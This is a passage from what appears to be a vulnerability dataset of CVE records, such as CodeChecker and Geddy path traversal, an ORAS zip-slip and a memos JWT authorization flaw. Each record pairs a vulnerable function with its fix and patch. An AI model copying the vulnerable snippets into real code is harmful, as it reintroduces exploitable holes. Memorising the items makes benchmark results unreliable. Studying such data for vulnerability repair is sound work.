ns.Name)\n+\t\t\treturn nil\n+\t\t})\n+\t\tif err != nil {\n+\t\t\tr.Logger.Error(err, \"create or update ns error\", \"ns\", ns.Name)\n+\t\t\treturn ctrl.Result{}, err\n+\t\t}\n+\t}\n+\n+\treturn ctrl.Result{}, nil\n+}\n\n--- /dev/null\n+++ b/controllers/user/main.go\n@@ -0,0 +1,16 @@\n+func (r *NamespaceReconciler) SetupWithManager(mgr ctrl.Manager) error {\n+\tconst controllerName = \"namespace_controller\"\n+\tif r.Client == nil {\n+\t\tr.Client = mgr.GetClient()\n+\t}\n+\tr.Logger = ctrl.Log.WithName(controllerName)\n+\tif r.Recorder == nil {\n+\t\tr.Recorder = mgr.GetEventRecorderFor(controllerName)\n+\t}\n+\tr.Scheme = mgr.GetScheme()\n+\tr.Logger.V(1).Info(\"init reconcile controller namespace\")\n+\treturn ctrl.NewControllerManagedBy(mgr).\n+\t\tFor(&v1.Namespace{}, builder.WithPredicates(\n+\t\t\tpredicate.Or(predicate.AnnotationChangedPredicate{}, predicate.LabelChangedPredicate{}))).\n+\t\tComplete(r)\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-49793", "cve_description": "CodeChecker is an analyzer tooling, defect database and viewer extension for the Clang Static Analyzer and Clang Tidy. Zip files uploaded to the server endpoint of `CodeChecker store` are not properly sanitized. An attacker, using a path traversal attack, can load and display files on the machine of `CodeChecker server`. The vulnerable endpoint is `/Default/v6.53/CodeCheckerService@massStoreRun`. The path traversal vulnerability allows reading data on the machine of the `CodeChecker server`, with the same permission level as the `CodeChecker server`.\nThe attack requires a user account on the `CodeChecker server`, with permission to store to a server, and view the stored report. This vulnerability has been patched in version 6.23.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/Ericsson/codechecker", "patch_url": ["https://github.com/Ericsson/codechecker/commit/46bada41e32f3ba0f6011d5c556b579f6dddf07a"], "programing_language": "Python", "vul_func": [{"id": "vul_py_397_1", "commit": "1a90030e1d0b4f158ea2dce803ca366445414b6e", "file_path": "web/server/codechecker_server/api/mass_store_run.py", "start_line": 384, "end_line": 424, "snippet": "    def __store_source_files(\n        self,\n        source_root: str,\n        filename_to_hash: Dict[str, str]\n    ) -> Dict[str, int]:\n        \"\"\" Storing file contents from plist. \"\"\"\n\n        file_path_to_id = {}\n\n        for file_name, file_hash in filename_to_hash.items():\n            source_file_name = os.path.join(source_root, file_name.strip(\"/\"))\n            source_file_name = os.path.realpath(source_file_name)\n            LOG.debug(\"Storing source file: %s\", source_file_name)\n            trimmed_file_path = trim_path_prefixes(\n                file_name, self.__trim_path_prefixes)\n\n            if not os.path.isfile(source_file_name):\n                # The file was not in the ZIP file, because we already\n                # have the content. Let's check if we already have a file\n                # record in the database or we need to add one.\n\n                LOG.debug('%s not found or already stored.', trimmed_file_path)\n                with DBSession(self.__Session) as session:\n                    fid = add_file_record(\n                        session, trimmed_file_path, file_hash)\n\n                if not fid:\n                    LOG.error(\"File ID for %s is not found in the DB with \"\n                              \"content hash %s. Missing from ZIP?\",\n                              source_file_name, file_hash)\n                file_path_to_id[trimmed_file_path] = fid\n                LOG.debug(\"%d fileid found\", fid)\n                continue\n\n            with DBSession(self.__Session) as session:\n                self.__add_file_content(session, source_file_name, file_hash)\n\n                file_path_to_id[trimmed_file_path] = add_file_record(\n                    session, trimmed_file_path, file_hash)\n\n        return file_path_to_id"}], "fix_func": [{"id": "fix_py_397_1", "commit": "46bada41e32f3ba0f6011d5c556b579f6dddf07a", "file_path": "web/server/codechecker_server/api/mass_store_run.py", "start_line": 384, "end_line": 424, "snippet": "    def __store_source_files(\n        self,\n        source_root: str,\n        filename_to_hash: Dict[str, str]\n    ) -> Dict[str, int]:\n        \"\"\" Storing file contents from plist. \"\"\"\n\n        file_path_to_id = {}\n\n        for file_name, file_hash in filename_to_hash.items():\n            source_file_path = path_for_fake_root(file_name, source_root)\n            LOG.debug(\"Storing source file: %s\", source_file_path)\n            trimmed_file_path = trim_path_prefixes(\n                file_name, self.__trim_path_prefixes)\n\n            if not os.path.isfile(source_file_path):\n                # The file was not in the ZIP file, because we already\n                # have the content. Let's check if we already have a file\n                # record in the database or we need to add one.\n\n                LOG.debug('%s not found or already stored.', trimmed_file_path)\n                with DBSession(self.__Session) as session:\n                    fid = add_file_record(\n                        session, trimmed_file_path, file_hash)\n\n                if fid:\n                    file_path_to_id[trimmed_file_path] = fid\n                    LOG.debug(\"%d fileid found\", fid)\n                else:\n                    LOG.error(\"File ID for %s is not found in the DB with \"\n                              \"content hash %s. Missing from ZIP?\",\n                              source_file_path, file_hash)\n                continue\n\n            with DBSession(self.__Session) as session:\n                self.__add_file_content(session, source_file_path, file_hash)\n\n                file_path_to_id[trimmed_file_path] = add_file_record(\n                    session, trimmed_file_path, file_hash)\n\n        return file_path_to_id"}], "vul_patch": "--- a/web/server/codechecker_server/api/mass_store_run.py\n+++ b/web/server/codechecker_server/api/mass_store_run.py\n@@ -8,13 +8,12 @@\n         file_path_to_id = {}\n \n         for file_name, file_hash in filename_to_hash.items():\n-            source_file_name = os.path.join(source_root, file_name.strip(\"/\"))\n-            source_file_name = os.path.realpath(source_file_name)\n-            LOG.debug(\"Storing source file: %s\", source_file_name)\n+            source_file_path = path_for_fake_root(file_name, source_root)\n+            LOG.debug(\"Storing source file: %s\", source_file_path)\n             trimmed_file_path = trim_path_prefixes(\n                 file_name, self.__trim_path_prefixes)\n \n-            if not os.path.isfile(source_file_name):\n+            if not os.path.isfile(source_file_path):\n                 # The file was not in the ZIP file, because we already\n                 # have the content. Let's check if we already have a file\n                 # record in the database or we need to add one.\n@@ -24,16 +23,17 @@\n                     fid = add_file_record(\n                         session, trimmed_file_path, file_hash)\n \n-                if not fid:\n+                if fid:\n+                    file_path_to_id[trimmed_file_path] = fid\n+                    LOG.debug(\"%d fileid found\", fid)\n+                else:\n                     LOG.error(\"File ID for %s is not found in the DB with \"\n                               \"content hash %s. Missing from ZIP?\",\n-                              source_file_name, file_hash)\n-                file_path_to_id[trimmed_file_path] = fid\n-                LOG.debug(\"%d fileid found\", fid)\n+                              source_file_path, file_hash)\n                 continue\n \n             with DBSession(self.__Session) as session:\n-                self.__add_file_content(session, source_file_name, file_hash)\n+                self.__add_file_content(session, source_file_path, file_hash)\n \n                 file_path_to_id[trimmed_file_path] = add_file_record(\n                     session, trimmed_file_path, file_hash)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2015-5688", "cve_description": "Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the PATH_INFO to the default URI.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/geddy/geddy", "patch_url": ["https://github.com/geddy/geddy/commit/2de63b68b3aa6c08848f261ace550a37959ef231"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_177_1", "commit": "75a7a9f", "file_path": "lib/app/index.js", "start_line": 172, "end_line": 200, "snippet": "  this.handleNoMatchedRoute = function (method, reqUrl, params, reqObj, respObj) {\n    var staticPath\n      , controllerInst\n      , nonMethodRoutes;\n\n\n    // Get the path to the file, decoding the request URI\n    staticPath = this.config.staticFilePath + decodeURIComponent(reqUrl);\n    // Ignore querystring\n    staticPath = staticPath.split('?')[0];\n\n    // Static?\n    if (utils.file.existsSync(staticPath)) {\n      this.handleStaticFile(staticPath, params, reqUrl, reqObj, respObj, params);\n    }\n    else {\n      nonMethodRoutes = this.router.all(reqUrl);\n\n      // Good route, wrong verb -- 405?\n      if (nonMethodRoutes.length) {\n        this.handleMethodNotAllowed(method, reqUrl, params, reqObj, respObj,\n          nonMethodRoutes);\n      }\n      // Nada, 404\n      else {\n        this.handleNotFound(reqUrl, params, reqObj, respObj);\n      }\n    }\n  };"}], "fix_func": [{"id": "fix_js_177_1", "commit": "2de63b6", "file_path": "lib/app/index.js", "start_line": 172, "end_line": 207, "snippet": "  this.handleNoMatchedRoute = function (method, reqUrl, params, reqObj, respObj) {\n    var staticPath\n      , controllerInst\n      , nonMethodRoutes;\n\n\n    // Get the path to the file, decoding the request URI\n    staticPath = path.resolve(path.join(this.config.staticFilePath, decodeURIComponent(reqUrl)));\n\n    // Prevent directory traversal\n    if (staticPath.indexOf(this.config.staticFilePath) !== 0) {\n      this.handleNotFound(reqUrl, params, reqObj, respObj);\n      return;\n    }\n\n    // Ignore querystring\n    staticPath = staticPath.split('?')[0];\n\n    // Static?\n    if (utils.file.existsSync(staticPath)) {\n      this.handleStaticFile(staticPath, params, reqUrl, reqObj, respObj, params);\n    }\n    else {\n      nonMethodRoutes = this.router.all(reqUrl);\n\n      // Good route, wrong verb -- 405?\n      if (nonMethodRoutes.length) {\n        this.handleMethodNotAllowed(method, reqUrl, params, reqObj, respObj,\n          nonMethodRoutes);\n      }\n      // Nada, 404\n      else {\n        this.handleNotFound(reqUrl, params, reqObj, respObj);\n      }\n    }\n  };"}], "vul_patch": "--- a/lib/app/index.js\n+++ b/lib/app/index.js\n@@ -5,7 +5,14 @@\n \n \n     // Get the path to the file, decoding the request URI\n-    staticPath = this.config.staticFilePath + decodeURIComponent(reqUrl);\n+    staticPath = path.resolve(path.join(this.config.staticFilePath, decodeURIComponent(reqUrl)));\n+\n+    // Prevent directory traversal\n+    if (staticPath.indexOf(this.config.staticFilePath) !== 0) {\n+      this.handleNotFound(reqUrl, params, reqObj, respObj);\n+      return;\n+    }\n+\n     // Ignore querystring\n     staticPath = staticPath.split('?')[0];\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-21272", "cve_description": "ORAS is open source software which enables a way to push OCI Artifacts to OCI Conformant registries. ORAS is both a CLI for initial testing and a Go Module. In ORAS from version 0.4.0 and before version 0.9.0, there is a \"zip-slip\" vulnerability. The directory support feature allows the downloaded gzipped tarballs to be automatically extracted to the user-specified directory where the tarball can have symbolic links and hard links. A well-crafted tarball or tarballs allow malicious artifact providers linking, writing, or overwriting specific files on the host filesystem outside of the user-specified directory unexpectedly with the same permissions as the user who runs `oras pull`. Users of the affected versions are impacted if they are `oras` CLI users who runs `oras pull`, or if they are Go programs, which invoke `github.com/deislabs/oras/pkg/content.FileStore`. The problem has been fixed in version 0.9.0. For `oras` CLI users, there is no workarounds other than pulling from a trusted artifact provider. For `oras` package users, the workaround is to not use `github.com/deislabs/oras/pkg/content.FileStore`, and use other content stores instead, or pull from a trusted artifact provider.", "cwe_info": {"CWE-59": {"name": "Improper Link Resolution Before File Access ('Link Following')", "description": "The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource."}}, "repo": "https://github.com/deislabs/oras", "patch_url": ["https://github.com/deislabs/oras/commit/96cd90423303f1bb42bd043cb4c36085e6e91e8e"], "programing_language": "Go", "vul_func": [{"id": "vul_go_128_1", "commit": "200d032", "file_path": "pkg/content/utils.go", "start_line": 91, "end_line": 133, "snippet": "func extractTarDirectory(root, prefix string, r io.Reader) error {\n\ttr := tar.NewReader(r)\n\tfor {\n\t\theader, err := tr.Next()\n\t\tif err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\treturn err\n\t\t}\n\n\t\t// Name check\n\t\tname := header.Name\n\t\tpath, err := filepath.Rel(prefix, name)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif strings.HasPrefix(path, \"../\") {\n\t\t\treturn fmt.Errorf(\"%q does not have prefix %q\", name, prefix)\n\t\t}\n\t\tpath = filepath.Join(root, path)\n\n\t\t// Create content\n\t\tswitch header.Typeflag {\n\t\tcase tar.TypeReg:\n\t\t\terr = writeFile(path, tr, header.FileInfo().Mode())\n\t\tcase tar.TypeDir:\n\t\t\terr = os.MkdirAll(path, header.FileInfo().Mode())\n\t\tcase tar.TypeLink:\n\t\t\terr = os.Link(header.Linkname, path)\n\t\tcase tar.TypeSymlink:\n\t\t\terr = os.Symlink(header.Linkname, path)\n\t\tdefault:\n\t\t\tcontinue // Non-regular files are skipped\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Change access time and modification time if possible (error ignored)\n\t\tos.Chtimes(path, header.AccessTime, header.ModTime)\n\t}\n}"}], "fix_func": [{"id": "fix_go_128_1", "commit": "96cd904", "file_path": "pkg/content/utils.go", "start_line": 91, "end_line": 142, "snippet": "func extractTarDirectory(root, prefix string, r io.Reader) error {\n\ttr := tar.NewReader(r)\n\tfor {\n\t\theader, err := tr.Next()\n\t\tif err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\treturn err\n\t\t}\n\n\t\t// Name check\n\t\tname := header.Name\n\t\tpath, err := ensureBasePath(root, prefix, name)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tpath = filepath.Join(root, path)\n\n\t\t// Link check\n\t\tswitch header.Typeflag {\n\t\tcase tar.TypeLink, tar.TypeSymlink:\n\t\t\tlink := header.Linkname\n\t\t\tif !filepath.IsAbs(link) {\n\t\t\t\tlink = filepath.Join(filepath.Dir(name), link)\n\t\t\t}\n\t\t\tif _, err := ensureBasePath(root, prefix, link); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\t// Create content\n\t\tswitch header.Typeflag {\n\t\tcase tar.TypeReg:\n\t\t\terr = writeFile(path, tr, header.FileInfo().Mode())\n\t\tcase tar.TypeDir:\n\t\t\terr = os.MkdirAll(path, header.FileInfo().Mode())\n\t\tcase tar.TypeLink:\n\t\t\terr = os.Link(header.Linkname, path)\n\t\tcase tar.TypeSymlink:\n\t\t\terr = os.Symlink(header.Linkname, path)\n\t\tdefault:\n\t\t\tcontinue // Non-regular files are skipped\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Change access time and modification time if possible (error ignored)\n\t\tos.Chtimes(path, header.AccessTime, header.ModTime)\n\t}\n}"}, {"id": "fix_go_128_2", "commit": "96cd904", "file_path": "pkg/content/utils.go", "start_line": 146, "end_line": 170, "snippet": "func ensureBasePath(root, base, target string) (string, error) {\n\tpath, err := filepath.Rel(base, target)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tcleanPath := filepath.ToSlash(filepath.Clean(path))\n\tif cleanPath == \"..\" || strings.HasPrefix(cleanPath, \"../\") {\n\t\treturn \"\", fmt.Errorf(\"%q is outside of %q\", target, base)\n\t}\n\n\t// No symbolic link allowed in the relative path\n\tdir := filepath.Dir(path)\n\tfor dir != \".\" {\n\t\tif info, err := os.Lstat(filepath.Join(root, dir)); err != nil {\n\t\t\tif !os.IsNotExist(err) {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t} else if info.Mode()&os.ModeSymlink != 0 {\n\t\t\treturn \"\", fmt.Errorf(\"no symbolic link allowed between %q and %q\", base, target)\n\t\t}\n\t\tdir = filepath.Dir(dir)\n\t}\n\n\treturn path, nil\n}"}], "vul_patch": "--- a/pkg/content/utils.go\n+++ b/pkg/content/utils.go\n@@ -11,14 +11,23 @@\n \n \t\t// Name check\n \t\tname := header.Name\n-\t\tpath, err := filepath.Rel(prefix, name)\n+\t\tpath, err := ensureBasePath(root, prefix, name)\n \t\tif err != nil {\n \t\t\treturn err\n \t\t}\n-\t\tif strings.HasPrefix(path, \"../\") {\n-\t\t\treturn fmt.Errorf(\"%q does not have prefix %q\", name, prefix)\n+\t\tpath = filepath.Join(root, path)\n+\n+\t\t// Link check\n+\t\tswitch header.Typeflag {\n+\t\tcase tar.TypeLink, tar.TypeSymlink:\n+\t\t\tlink := header.Linkname\n+\t\t\tif !filepath.IsAbs(link) {\n+\t\t\t\tlink = filepath.Join(filepath.Dir(name), link)\n+\t\t\t}\n+\t\t\tif _, err := ensureBasePath(root, prefix, link); err != nil {\n+\t\t\t\treturn err\n+\t\t\t}\n \t\t}\n-\t\tpath = filepath.Join(root, path)\n \n \t\t// Create content\n \t\tswitch header.Typeflag {\n\n--- /dev/null\n+++ b/pkg/content/utils.go\n@@ -0,0 +1,25 @@\n+func ensureBasePath(root, base, target string) (string, error) {\n+\tpath, err := filepath.Rel(base, target)\n+\tif err != nil {\n+\t\treturn \"\", err\n+\t}\n+\tcleanPath := filepath.ToSlash(filepath.Clean(path))\n+\tif cleanPath == \"..\" || strings.HasPrefix(cleanPath, \"../\") {\n+\t\treturn \"\", fmt.Errorf(\"%q is outside of %q\", target, base)\n+\t}\n+\n+\t// No symbolic link allowed in the relative path\n+\tdir := filepath.Dir(path)\n+\tfor dir != \".\" {\n+\t\tif info, err := os.Lstat(filepath.Join(root, dir)); err != nil {\n+\t\t\tif !os.IsNotExist(err) {\n+\t\t\t\treturn \"\", err\n+\t\t\t}\n+\t\t} else if info.Mode()&os.ModeSymlink != 0 {\n+\t\t\treturn \"\", fmt.Errorf(\"no symbolic link allowed between %q and %q\", base, target)\n+\t\t}\n+\t\tdir = filepath.Dir(dir)\n+\t}\n+\n+\treturn path, nil\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-4697", "cve_description": "Improper Privilege Management in GitHub repository usememos/memos prior to 0.13.2.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/usememos/memos", "patch_url": ["https://github.com/usememos/memos/commit/c9aa2eeb9852047e4f41915eb30726bd25f07ecd"], "programing_language": "Go", "vul_func": [{"id": "vul_go_202_1", "commit": "63d6b6f", "file_path": "server/jwt.go", "start_line": 75, "end_line": 206, "snippet": "func JWTMiddleware(server *Server, next echo.HandlerFunc, secret string) echo.HandlerFunc {\n\treturn func(c echo.Context) error {\n\t\tpath := c.Request().URL.Path\n\t\tmethod := c.Request().Method\n\n\t\tif server.defaultAuthSkipper(c) {\n\t\t\treturn next(c)\n\t\t}\n\n\t\t// Skip validation for server status endpoints.\n\t\tif common.HasPrefixes(path, \"/api/ping\", \"/api/v1/idp\", \"/api/user/:id\") && method == http.MethodGet {\n\t\t\treturn next(c)\n\t\t}\n\n\t\ttoken := findAccessToken(c)\n\t\tif token == \"\" {\n\t\t\t// Allow the user to access the public endpoints.\n\t\t\tif common.HasPrefixes(path, \"/o\") {\n\t\t\t\treturn next(c)\n\t\t\t}\n\t\t\t// When the request is not authenticated, we allow the user to access the memo endpoints for those public memos.\n\t\t\tif common.HasPrefixes(path, \"/api/status\", \"/api/memo\") && method == http.MethodGet {\n\t\t\t\treturn next(c)\n\t\t\t}\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Missing access token\")\n\t\t}\n\n\t\tclaims := &Claims{}\n\t\taccessToken, err := jwt.ParseWithClaims(token, claims, func(t *jwt.Token) (any, error) {\n\t\t\tif t.Method.Alg() != jwt.SigningMethodHS256.Name {\n\t\t\t\treturn nil, errors.Errorf(\"unexpected access token signing method=%v, expect %v\", t.Header[\"alg\"], jwt.SigningMethodHS256)\n\t\t\t}\n\t\t\tif kid, ok := t.Header[\"kid\"].(string); ok {\n\t\t\t\tif kid == \"v1\" {\n\t\t\t\t\treturn []byte(secret), nil\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn nil, errors.Errorf(\"unexpected access token kid=%v\", t.Header[\"kid\"])\n\t\t})\n\t\tif !audienceContains(claims.Audience, auth.AccessTokenAudienceName) {\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, fmt.Sprintf(\"Invalid access token, audience mismatch, got %q, expected %q.\", claims.Audience, auth.AccessTokenAudienceName))\n\t\t}\n\t\tgenerateToken := time.Until(claims.ExpiresAt.Time) < auth.RefreshThresholdDuration\n\t\tif err != nil {\n\t\t\tvar ve *jwt.ValidationError\n\t\t\tif errors.As(err, &ve) {\n\t\t\t\t// If expiration error is the only error, we will clear the err\n\t\t\t\t// and generate new access token and refresh token\n\t\t\t\tif ve.Errors == jwt.ValidationErrorExpired {\n\t\t\t\t\tgenerateToken = true\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, errors.Wrap(err, \"Invalid or expired access token\"))\n\t\t\t}\n\t\t}\n\n\t\t// We either have a valid access token or we will attempt to generate new access token and refresh token\n\t\tctx := c.Request().Context()\n\t\tuserID, err := strconv.Atoi(claims.Subject)\n\t\tif err != nil {\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Malformed ID in the token.\")\n\t\t}\n\n\t\t// Even if there is no error, we still need to make sure the user still exists.\n\t\tuser, err := server.Store.GetUser(ctx, &store.FindUserMessage{\n\t\t\tID: &userID,\n\t\t})\n\t\tif err != nil {\n\t\t\treturn echo.NewHTTPError(http.StatusInternalServerError, fmt.Sprintf(\"Server error to find user ID: %d\", userID)).SetInternal(err)\n\t\t}\n\t\tif user == nil {\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, fmt.Sprintf(\"Failed to find user ID: %d\", userID))\n\t\t}\n\n\t\tif generateToken {\n\t\t\tgenerateTokenFunc := func() error {\n\t\t\t\trc, err := c.Cookie(auth.RefreshTokenCookieName)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Failed to generate access token. Missing refresh token.\")\n\t\t\t\t}\n\n\t\t\t\t// Parses token and checks if it's valid.\n\t\t\t\trefreshTokenClaims := &Claims{}\n\t\t\t\trefreshToken, err := jwt.ParseWithClaims(rc.Value, refreshTokenClaims, func(t *jwt.Token) (any, error) {\n\t\t\t\t\tif t.Method.Alg() != jwt.SigningMethodHS256.Name {\n\t\t\t\t\t\treturn nil, errors.Errorf(\"unexpected refresh token signing method=%v, expected %v\", t.Header[\"alg\"], jwt.SigningMethodHS256)\n\t\t\t\t\t}\n\n\t\t\t\t\tif kid, ok := t.Header[\"kid\"].(string); ok {\n\t\t\t\t\t\tif kid == \"v1\" {\n\t\t\t\t\t\t\treturn []byte(secret), nil\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\treturn nil, errors.Errorf(\"unexpected refresh token kid=%v\", t.Header[\"kid\"])\n\t\t\t\t})\n\t\t\t\tif err != nil {\n\t\t\t\t\tif err == jwt.ErrSignatureInvalid {\n\t\t\t\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Failed to generate access token. Invalid refresh token signature.\")\n\t\t\t\t\t}\n\t\t\t\t\treturn echo.NewHTTPError(http.StatusInternalServerError, fmt.Sprintf(\"Server error to refresh expired token. User Id %d\", userID)).SetInternal(err)\n\t\t\t\t}\n\n\t\t\t\tif !audienceContains(refreshTokenClaims.Audience, auth.RefreshTokenAudienceName) {\n\t\t\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized,\n\t\t\t\t\t\tfmt.Sprintf(\"Invalid refresh token, audience mismatch, got %q, expected %q. you may send request to the wrong environment\",\n\t\t\t\t\t\t\trefreshTokenClaims.Audience,\n\t\t\t\t\t\t\tauth.RefreshTokenAudienceName,\n\t\t\t\t\t\t))\n\t\t\t\t}\n\n\t\t\t\t// If we have a valid refresh token, we will generate new access token and refresh token\n\t\t\t\tif refreshToken != nil && refreshToken.Valid {\n\t\t\t\t\tif err := auth.GenerateTokensAndSetCookies(c, user, secret); err != nil {\n\t\t\t\t\t\treturn echo.NewHTTPError(http.StatusInternalServerError, fmt.Sprintf(\"Server error to refresh expired token. User Id %d\", userID)).SetInternal(err)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\t// It may happen that we still have a valid access token, but we encounter issue when trying to generate new token\n\t\t\t// In such case, we won't return the error.\n\t\t\tif err := generateTokenFunc(); err != nil && !accessToken.Valid {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\t// Stores userID into context.\n\t\tc.Set(getUserIDContextKey(), userID)\n\t\treturn next(c)\n\t}\n}"}], "fix_func": [{"id": "fix_go_202_1", "commit": "c9aa2eeb9852047e4f41915eb30726bd25f07ecd", "file_path": "server/jwt.go", "start_line": 75, "end_line": 211, "snippet": "func JWTMiddleware(server *Server, next echo.HandlerFunc, secret string) echo.HandlerFunc {\n\treturn func(c echo.Context) error {\n\t\tpath := c.Request().URL.Path\n\t\tmethod := c.Request().Method\n\n\t\tif server.defaultAuthSkipper(c) {\n\t\t\treturn next(c)\n\t\t}\n\n\t\t// Skip validation for server status endpoints.\n\t\tif common.HasPrefixes(path, \"/api/ping\", \"/api/v1/idp\", \"/api/user/:id\") && method == http.MethodGet {\n\t\t\treturn next(c)\n\t\t}\n\n\t\ttoken := findAccessToken(c)\n\t\tif token == \"\" {\n\t\t\t// Allow the user to access the public endpoints.\n\t\t\tif common.HasPrefixes(path, \"/o\") {\n\t\t\t\treturn next(c)\n\t\t\t}\n\t\t\t// When the request is not authenticated, we allow the user to access the memo endpoints for those public memos.\n\t\t\tif common.HasPrefixes(path, \"/api/status\", \"/api/memo\") && method == http.MethodGet {\n\t\t\t\treturn next(c)\n\t\t\t}\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Missing access token\")\n\t\t}\n\n\t\tclaims := &Claims{}\n\t\taccessToken, err := jwt.ParseWithClaims(token, claims, func(t *jwt.Token) (any, error) {\n\t\t\tif t.Method.Alg() != jwt.SigningMethodHS256.Name {\n\t\t\t\treturn nil, errors.Errorf(\"unexpected access token signing method=%v, expect %v\", t.Header[\"alg\"], jwt.SigningMethodHS256)\n\t\t\t}\n\t\t\tif kid, ok := t.Header[\"kid\"].(string); ok {\n\t\t\t\tif kid == \"v1\" {\n\t\t\t\t\treturn []byte(secret), nil\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn nil, errors.Errorf(\"unexpected access token kid=%v\", t.Header[\"kid\"])\n\t\t})\n\n\t\tif !accessToken.Valid {\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Invalid access token.\")\n\t\t}\n\n\t\tif !audienceContains(claims.Audience, auth.AccessTokenAudienceName) {\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, fmt.Sprintf(\"Invalid access token, audience mismatch, got %q, expected %q.\", claims.Audience, auth.AccessTokenAudienceName))\n\t\t}\n\t\tgenerateToken := time.Until(claims.ExpiresAt.Time) < auth.RefreshThresholdDuration\n\t\tif err != nil {\n\t\t\tvar ve *jwt.ValidationError\n\t\t\tif errors.As(err, &ve) {\n\t\t\t\t// If expiration error is the only error, we will clear the err\n\t\t\t\t// and generate new access token and refresh token\n\t\t\t\tif ve.Errors == jwt.ValidationErrorExpired {\n\t\t\t\t\tgenerateToken = true\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, errors.Wrap(err, \"Invalid or expired access token\"))\n\t\t\t}\n\t\t}\n\n\t\t// We either have a valid access token or we will attempt to generate new access token and refresh token\n\t\tctx := c.Request().Context()\n\t\tuserID, err := strconv.Atoi(claims.Subject)\n\t\tif err != nil {\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Malformed ID in the token.\")\n\t\t}\n\n\t\t// Even if there is no error, we still need to make sure the user still exists.\n\t\tuser, err := server.Store.GetUser(ctx, &store.FindUserMessage{\n\t\t\tID: &userID,\n\t\t})\n\t\tif err != nil {\n\t\t\treturn echo.NewHTTPError(http.StatusInternalServerError, fmt.Sprintf(\"Server error to find user ID: %d\", userID)).SetInternal(err)\n\t\t}\n\t\tif user == nil {\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, fmt.Sprintf(\"Failed to find user ID: %d\", userID))\n\t\t}\n\n\t\tif generateToken {\n\t\t\tgenerateTokenFunc := func() error {\n\t\t\t\trc, err := c.Cookie(auth.RefreshTokenCookieName)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Failed to generate access token. Missing refresh token.\")\n\t\t\t\t}\n\n\t\t\t\t// Parses token and checks if it's valid.\n\t\t\t\trefreshTokenClaims := &Claims{}\n\t\t\t\trefreshToken, err := jwt.ParseWithClaims(rc.Value, refreshTokenClaims, func(t *jwt.Token) (any, error) {\n\t\t\t\t\tif t.Method.Alg() != jwt.SigningMethodHS256.Name {\n\t\t\t\t\t\treturn nil, errors.Errorf(\"unexpected refresh token signing method=%v, expected %v\", t.Header[\"alg\"], jwt.SigningMethodHS256)\n\t\t\t\t\t}\n\n\t\t\t\t\tif kid, ok := t.Header[\"kid\"].(string); ok {\n\t\t\t\t\t\tif kid == \"v1\" {\n\t\t\t\t\t\t\treturn []byte(secret), nil\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\treturn nil, errors.Errorf(\"unexpected refresh token kid=%v\", 